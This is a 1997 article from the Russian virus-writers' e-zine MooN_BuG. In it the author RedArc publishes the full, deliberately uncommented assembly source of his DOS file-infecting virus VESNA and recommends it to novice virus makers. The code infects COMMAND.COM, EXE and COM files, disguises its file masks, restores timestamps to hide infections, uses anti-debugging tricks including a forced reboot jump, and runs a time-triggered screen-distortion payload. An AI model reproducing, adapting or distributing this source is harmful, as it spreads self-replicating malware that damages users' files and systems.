[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 4, Dec 1997 file 005
Вирус VESNA
by RedArc
Хочу познакомить читателей журнала MooN BuG с некоторыми алгоритмами,
использованными в вирусах Vesna. Хотя это одни из моих первых вирусов, но
многие приемы могут оказать большую помощь начинающим вирмейкерам в их первых
шагах борьбы за выживаемость со всякими навороченными машинами смерти, типа
анализаторов кода. Комментарии я удалил нарочно, чтобы было интереснее
копаться в самом исходнике... ;)
Вирус сделан очень примитивно и очень не оптимально, но зато разобраться
в нем не должно составить особого труда.
=== Cut ===
;VESNA
ORG 100h
START:
jmp PROTECTED
FMASK DB '*'+60h
DB '.'+60h
DB 'e'+60h
DB 'x'+60h
DB 'e'+60h
DB 0h+60h
FLAG db 0
COMMASK DB '*'+60h
DB '.'+60h
DB 'c'+60h
DB 'o'+60h
DB 'm'+60h
DB 0h+60h
PRESERV DB 6 dup (?)
FATTR DW ?
FDATA DW ?
FTIME DW ?
LEN_T_1 DW ?
LEN_T_2 DW ?
SAVE_CX DW ?
SAVE_DX DW ?
POINTER dw ?
HAND_T DW ?
DTA DW ?
f_chk db 'c'+60h
db 'h'+60h
db '*'+60h
db '.'+60h
db '*'+60h
db 60h
f_adi db '*'+60h
db '.'+60h
db '░'+60h
db '░'+60h
db '░'+60h
db 60h
;----------------------------------------------------------
VIRLEN EQU 5f5h
;**********************************************************************
PROTECTED:
call SAVE_905
call for_hack
push cs
pop ds
GET_DOS_VERSION:
mov ah,30h
call INTERRUPT
cmp al,3
jae GET_DTA
jmp RESTORE_PROGRAM
GET_DTA:
MOV AH,2FH
call INTERRUPT
SET_DTA:
MOV DTA,BX
LEA DX,[NEWDTA]
MOV AH,1AH
call INTERRUPT
INFECTED:
mov FLAG,1
CALL COMMAND_COM
lea dx,[FMASK]
call Shadow_Mask
mov FLAG,0
call SEARCH
lea dx,[COMMASK]
call Shadow_Mask
mov FLAG,1
call SEARCH
lea dx,[f_chk]
call Shadow_Mask
mov FLAG,1
call SEARCH
lea dx,[f_adi]
call Shadow_Mask
mov FLAG,1
call SEARCH
call BUSSER
RESTORE_DTA:
MOV AH,1AH
MOV DX,DTA
call INTERRUPT
RESTORE_PROGRAM:
call LOAD_905
retf
;**********************************************************************
SAVE_AX dw ?
INTERRUPT:
MOV SAVE_AX,AX
PUSHF
PUSH CS
MOV AX,OFFSET RET_21
PUSH AX
XOR AX,AX
MOV ES,AX
MOV AX,SAVE_AX
JMP DWORD PTR ES:[21H*4]
RET_21:
RET
;**********************************************************************
WR2EXE:
push ax
push bx
push cx
push dx
push si
push di
jmp ST_2EXE
;--------------------------------------------------------------
HDR label byte
Signature dw ?
partpag dw ?
pagecnt dw ?
count dw ?
hdrsize dw ?
minavail dw ?
maxavail dw ?
reloss dw ?
relosp dw ?
checks dw ?
exeip dw ?
relocs dw ?
LEN_HDR equ $-hdr
;----------------------------------------------------------
IMIT label byte
mov ax,es
i_1:
add ax,0
add ax,10h
push ax
i_2:
mov ax,0
push ax
mov ax,100h
push ax
db 0c3h
LEN_IMIT equ $-imit
;----------------------------------------------------------
ST_2EXE:
mov ah,42h
mov bx,HAND_T
xor cx,cx
xor dx,dx
mov al,0
call INTERRUPT
mov ah,3fh
lea dx,[HDR]
mov cx,len_hdr
call INTERRUPT
PREP_END:
mov bx,Signature
cmp bx,5a4dh
je CHECK_IDENT
jmp QUITER_FROM_WREXE
CHECK_IDENT:
dec bx
mov Signature,bx
mov bx,checks
cmp bx,1995h
jne NEXT_WORK
jmp QUITER_FROM_WREXE
NEXT_WORK:
mov bx,1995h
mov checks,bx
mov ax,relocs
mov word ptr i_1[1],ax
mov ax,exeip
mov word ptr i_2[1],ax
mov cx,LEN_T_1
mov dx,LEN_T_2
mov bx,HAND_T
mov SAVE_CX,cx
mov SAVE_DX,dx
mov ah,42h
mov al,0
call INTERRUPT
mov ah,40h
lea dx,[IMIT]
mov cx,len_imit
call INTERRUPT
jnc WR_SOUR
jmp QUITER_FROM_WREXE
WR_SOUR:
mov cx,SAVE_CX
mov dx,SAVE_DX
add dx,len_imit
jnc m1
inc cx
m1:
add dx,15
jnc m2
inc cx
m2:
and dx,0fff0h
mov SAVE_CX,cx
mov SAVE_DX,dx
mov ah,42h
mov al,0
call INTERRUPT
lea dx,[START]
mov ah,40h
mov cx,VIRLEN
call INTERRUPT
mov ax,SAVE_CX
mov bx,SAVE_DX
add bx,ax
mov cl,4
ror bx,cl
sub bx,10h
mov cx,hdrsize
sub bx,cx
mov relocs,bx
mov ax,partpag
and ax,000fh
mov bx,ax
add ax,len_imit
add ax,15
and ax,0fff0h
add bx,100h
sub bx,ax
mov exeip,bx
mov ax,SAVE_CX
mov bx,SAVE_DX
add bx,VIRLEN
jnc m3
inc ax
m3:
mov dx,bx
and dx,1ffh
mov partpag,dx
add bx,511
jnc m4
inc ax
m4:
and bh,0feh
mov ah,bh
mov cl,9
ror ax,cl
mov pagecnt,ax
mov ah,42h
mov bx,Signature
inc bx
mov Signature,bx
mov bx,HAND_T
xor cx,cx
xor dx,dx
mov al,0
call INTERRUPT
mov ah,40h
lea dx,[HDR]
mov cx,len_hdr
call INTERRUPT
QUITER_FROM_WREXE:
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret
;**********************************************************************
SEARCH:
mov SAVE_DX,dx
cld
mov ah,4eh
mov cx,0efh
call INTERRUPT
jb ENDE_PROCEDUR
mov ah,2fh
call INTERRUPT
mov dx,SAVE_DX
call Shadow_Mask_1
mov dx,bx
LOOP_SEARCH:
mov bx,dx
call PREPROCESSOR
FIND_NEXT:
mov ah,4fh
call INTERRUPT
jb ENDE_PROCEDUR
loop LOOP_SEARCH
ENDE_PROCEDUR:
pop bx
jmp bx
;**********************************************************************
PREPROCESSOR:
push dx
add bx,1eh
mov dx,bx
call print_name
GET_FATTR:
mov ax,4300h
call INTERRUPT
mov FATTR,cx
SET_FATR:
mov ax,4301h
mov cx,20h
call INTERRUPT
OPEN_FILE:
mov dx,pointer
mov ax,3d02h
call INTERRUPT
jnc YES_OPEN
jmp QUITER_FROM_PREPROCESSOR
YES_OPEN:
mov bx,ax
mov HAND_T,ax
GET_FDATETIME:
mov ax,5700h
call INTERRUPT
mov FDATA,dx
mov FTIME,cx
OPEN_TARG:
mov bx,HAND_T
mov ah,42h
xor cx,cx
xor dx,dx
mov al,2
call INTERRUPT
mov LEN_T_1,dx
mov LEN_T_2,ax
INFECTED_PROG:
cmp FLAG,0
jz exe_file
call WR2COM
exe_file:
call WR2EXE
CLOSE_FILE:
mov ax,5701h
mov dx,FDATA
mov cx,FTIME
call INTERRUPT
mov ah,3eh
call INTERRUPT
mov dx,pointer
mov ax,4301h
mov cx,FATTR
call INTERRUPT
QUITER_FROM_PREPROCESSOR:
pop dx
ret
;************************************************************
SAVE_905:
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
mov bp,sp
xchg ax,[bp+10h]
push ax
ret
;**************************************************
LOAD_905:
pop ax
mov bp,sp
xchg ax,[bp+10h]
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
ret
;****************************************************
BUSSER:
call SAVE_905
mov ah, 2Ch
call interrupt
cmp ch, cl
je bus_1
call LOAD_905
ret
bus_1:
mov cx, 70
jmp locing
;---------------------------------------------------------
nop
loc_0_103:
add [bx+si], al
loc_0_105:
add ax, [bx+si]
locing:
push ax
push dx
push ds
xor ax, ax
mov ds, ax
cmp byte ptr ds:[449h], 3
ja loc_0_12E
push cs
pop ds
mov dx, 3DAh
loc_0_11A:
in al, dx
test al, 8
jz loc_0_11A
loc_0_11F:
in al, dx
test al, 1
jnz loc_0_11F
mov dx, 3D4h
mov al, 8
mov ah, byte ptr loc_0_103
out dx, ax
loc_0_12E:
mov dx, 3DAh
in al, dx
mov dx, 3C0h
mov al, 13h
mov ah, byte ptr loc_0_105
out dx, ax
mov dx, 3DAh
in al, dx
mov dx, 3C0h
mov al, 20h
out dx, al
mov ax, word ptr loc_0_105
call loc_0_160
mov word ptr loc_0_105, ax
mov ax, word ptr loc_0_103
call loc_0_160
mov word ptr loc_0_103, ax
pop ds
pop dx
pop ax
loop locing
call LOAD_905
ret
;---------------------------------------------------------
loc_0_160:
or ah, ah
jz loc_0_16E
dec al
cmp al, 0FFh
jnz loc_0_179
mov al, 1
jmp loc_0_176
;---------------------------------------------------------
loc_0_16E:
inc al
cmp al, 7
jbe loc_0_179
mov al, 6
loc_0_176:
xor ah, 1
loc_0_179:
ret
;---------------------------------------------------------
db 'G'+60h
db 'A'+60h
db 'R'+60h
db 'R'+60h
db 'Y'+60h
db 0ah,0dh,'HERBALIFE',0ah,0dh
;*********************************************************************
Shadow_mask:
push di
push si
lea di,[PRESERV]
mov si,dx
loop_sh_m:
mov dl,[si]
sub dl,60h
mov [di],dl
cmp dl,0h
je ret_sh_m
inc di
inc si
jmp loop_sh_m
ret_sh_m:
pop si
pop di
lea dx,[PRESERV]
ret
;****************************************************
Shadow_mask_1:
push dx
push di
push cx
lea di,[PRESERV]
xor cx,cx
loop_sh_m_1:
mov dl,0h
mov [di],dl
inc cx
inc dl
cmp cx,9
je ret_sh_m_1
jmp loop_sh_m_1
ret_sh_m_1:
pop cx
pop di
pop dx
ret
;**********************************************************************
wr2com:
jmp st_2com
new_beg label byte
mov ax,cs
c_1:
add ax,0
push ax
c_2:
mov ax,0
push ax
db 0cbh
len_new_beg equ $-new_beg
com label byte
mov di,100h
push cs
pop ds
c_3:
mov ax,0
c_4:
add ax,0
and ax,000fh
mov bx,16
sub bx,ax
and bx,000fh
add bx,len_new_beg
mov ax,100h
sub ax,bx
mov si,ax
mov cx,len_new_beg
rep movsb
push es
pop ds
push es
mov ax,100h
push ax
push ax
db 0c3h
len_com equ $-com
old_beg label byte
db len_new_beg dup (?)
len_im equ $-com
exiter:
pop bx
jmp bx
st_2com:
mov bx,hand_t
mov ah,42h
xor cx,cx
xor dx,dx
mov al,0
call INTERRUPT
mov ah,3fh
lea dx,old_beg
mov cx,len_new_beg
call INTERRUPT
jnc prep_beg
jmp exiter
prep_beg:
mov ax,word ptr old_beg[0]
cmp ax,0c88ch
jne YES_YES
jmp exiter
YES_YES:
mov ax,len_t_1
mov bx,len_t_2
add bx,len_im
jnc pr1
inc ax
pr1:
add bx,15
and bx,0fff0h
add bx,ax
mov cl,4
ror bx,cl
mov word ptr c_1[1],bx
mov ax,len_t_2
and ax,000fh
mov bx,ax
add ax,len_im
add ax,15
and ax,0fff0h
add bx,100h
sub bx,ax
mov word ptr c_2[1],bx
mov bx,hand_t
mov ah,42h
xor cx,cx
xor dx,dx
mov al,0
call INTERRUPT
mov ah,40h
lea dx,new_beg
mov cx,len_new_beg
call INTERRUPT
prep_c_end:
mov ax,len_t_2
mov word ptr c_3[1],ax
mov word ptr c_4[1],len_im
mov bx,hand_t
mov ah,42h
mov cx,len_t_1
mov dx,len_t_2
mov al,0
call INTERRUPT
wr_end:
mov ah,40h
lea dx,com
mov cx,len_im
call INTERRUPT
mov cx,len_t_1
mov dx,len_t_2
add dx,len_im
jnc cal_1
inc cx
cal_1:
add dx,15
jnc cal_2
inc cx
cal_2:
and dx,0fff0h
mov bx,hand_t
mov ah,42h
mov al,0
call INTERRUPT
mov ah,40h
lea dx,[START]
mov cx,VIRLEN
call INTERRUPT
ret
;*********************************************************************
print_name:
push di
push si
push dx
push dx
pop di
cmp FLAG,2
je p_n_r
pop dx
pop si
pop di
mov word ptr pointer[0],dx
jmp p_n_q
p_n_r:
pop dx
pop si
pop di
mov word ptr pointer[0],dx
p_n_q:
ret
;*********************************************************************
for_hack:
mov ax, offset no_asm
push ax
push ax
ret
no_asm:
pop bx
add bx,6
push bx
ret
;**********************************************************************
push ds
push si
mov ax, offset Defrag
push ax
mov ax, offset DEBUG_lock
push ax
ret
;----------------------------------------------------------------------
Defrag:
cli
cld
db 0eah
dw 0000h
dw 0ffffh
;----------------------------------------------------------------------
pop si
pop ds
;**********************************************************************
OLD_Protect:
db 2eh
pushf
pop ax
sahf
jb Defrag
mov ax, offset no_debug
push ax
ret
;**********************************************************************
HA_HA:
pop ax
pop bx
add bx,7
push bx
push ax
ret
;**********************************************************************
DEBUG_lock:
pop ds
xor si,si
push ds
mov ds,si
mov si,0004
mov [si+02],cs
mov ax, offset dddd
push ax
mov ax, offset HA_HA
push ax
dddd:
ret
mov ax, offset defrag
push ax
no_debug:
ret
;**********************************************************************
COMMAND_COM:
call c_c_com
comspect db 'c'
db ':'
db '\'
db 'c'
db 'o'
db 'm'
db 'm'
db 'a'
db 'n'
db 'd'
db '.'
db 'c'
db 'o'
db 'm'
db 0h
c_c_com:
pop bx
mov word ptr pointer[0],bx
mov dx,bx
GET_FATT:
mov ax,4300h
call INTERRUPT
mov FATTR,cx
SET_FAT:
mov ax,4301h
mov cx,20h
call INTERRUPT
OPEN_FIL:
mov dx,pointer
mov ax,3d02h
call INTERRUPT
jnc YES_OPE
jmp QUITER_FROM_PREPROCESSO
YES_OPE:
mov bx,ax
mov HAND_T,ax
GET_FDATETIM:
mov ax,5700h
call INTERRUPT
mov FDATA,dx
mov FTIME,cx
OPEN_TAR:
mov bx,HAND_T
mov ah,42h
xor cx,cx
xor dx,dx
mov al,2
call INTERRUPT
mov LEN_T_1,dx
mov LEN_T_2,ax
INFECTED_PRO:
call WR2COM
CLOSE_FIL:
mov ax,5701h
mov dx,FDATA
mov cx,FTIME
call INTERRUPT
mov ah,3eh
call INTERRUPT
mov dx,pointer
mov ax,4301h
mov cx,FATTR
call INTERRUPT
QUITER_FROM_PREPROCESSO:
pop bx
jmp bx
;**********************************************************************
NEWDTA label byte
;*********************************************************************
end START
=== Cut ===